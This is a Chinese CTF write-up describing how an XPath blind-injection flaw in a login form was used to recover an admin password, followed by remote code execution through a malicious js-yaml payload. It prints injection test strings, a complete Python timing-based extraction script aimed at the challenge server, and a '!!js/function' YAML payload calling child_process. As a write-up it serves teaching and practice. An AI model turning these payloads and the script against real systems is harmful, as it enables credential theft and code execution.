前言

因为国际赛碰到了一个没见到过的注入–xpath 于是记录一下做题过程

赛题

首先拿到就是有源码,网站就是一个登录注册点 分admin和非admin用户 有一个admin的面板 admin面板进去可以干一些操作 反正我们要先变成admin用户

image-20251209173543978

审计源码 在/login处存在明显的注入 并且当usernode布尔值为1的时候 会延迟两秒 符合xpath布尔盲注的条件

测试

1
2
' or '1'='1 #返回真 延迟两秒
' or '1'='2 #返回假 不延迟

确实如我们预料一般存在布尔盲注 这样我们可以得到admin的password

//xpath是没有注释符号 通过构造闭合来

于是有脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import time

def quick_extract_admin():

url = "http://104.198.24.52:6014/login"

print("get pasword...")

def test(payload):
start = time.time()
try:
requests.post(url, data={'username': payload, 'password': 'anything'}, timeout=3)
except:
return False
return time.time() - start > 2.0

#判断password长度
for length in range(1, 30):
payload = f"' or (username/text()='admin' and string-length(password)={length}) or '1'='2"
if test(payload):
print(f"password-length: {length}")
break

password = ""
simple_charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
#盲注密码
for pos in range(1, length + 1):
for char in simple_charset:
payload = f"' or (username/text()='admin' and substring(password,{pos},1)='{char}') or '1'='2"
if test(payload):
password += char
print(f"postion {pos}: '{char}'")
break
else:
password += "_"
print(f"postion {pos}: unkown")

print(f"\npassword: {password}")
return password

quick_extract_admin()

image-20251209175337973

靶机有些不稳定 多爆几次 admin密码是df08cf

进去后是一个添加文件的功能 这里存在cve

image-20251209175541326

本地npm就可以看到 漏洞点在yam.load()

我们可以通过构造恶意yaml来RCE

1
!!js/function "function(){return process.mainModule.require('child_process').execSync('cat flag.txt').toString();}()"

image-20251209175950065

xpath注入可以参考https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/#%E5%B8%B8%E8%A7%84%E6%B3%A8%E5%85%A5的博客